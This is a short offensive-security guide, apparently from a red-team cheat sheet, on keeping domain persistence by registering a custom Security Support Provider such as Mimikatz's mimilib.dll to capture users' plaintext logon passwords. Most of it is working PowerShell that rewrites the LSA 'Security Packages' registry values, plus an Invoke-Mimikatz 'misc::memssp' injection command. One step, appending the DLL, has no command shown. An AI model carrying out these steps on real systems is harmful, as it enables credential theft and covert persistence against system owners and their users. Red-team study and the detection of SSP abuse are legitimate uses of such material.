Disclaimer: This material is provided for educational purposes and authorized security testing only.
You are solely responsible for how
you use the information. Do not use these techniques on systems without explicit permission from the owner.
We
do not encourage any kind of illegal or harmful activity
Domain Persistence via Custom SSP
Custom Security Support Providers (SSPs) can be used to capture plaintext passwords from users who log on.
This guide provides steps to set up a custom SSP using a DLL, such as mimilib.dll
from Mimikatz.
Steps to Set Up a Custom SSP
-
Get current security packages:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
-
Append the custom DLL (e.g., mimilib):
-
Update the OSConfig registry key with the new packages:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages' -Value $packages
-
Update the Lsa registry key with the new packages:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages' -Value $packages
-
Alternative method using Mimikatz to inject mimilib:
Invoke-Mimikatz -Command '"misc::memssp"'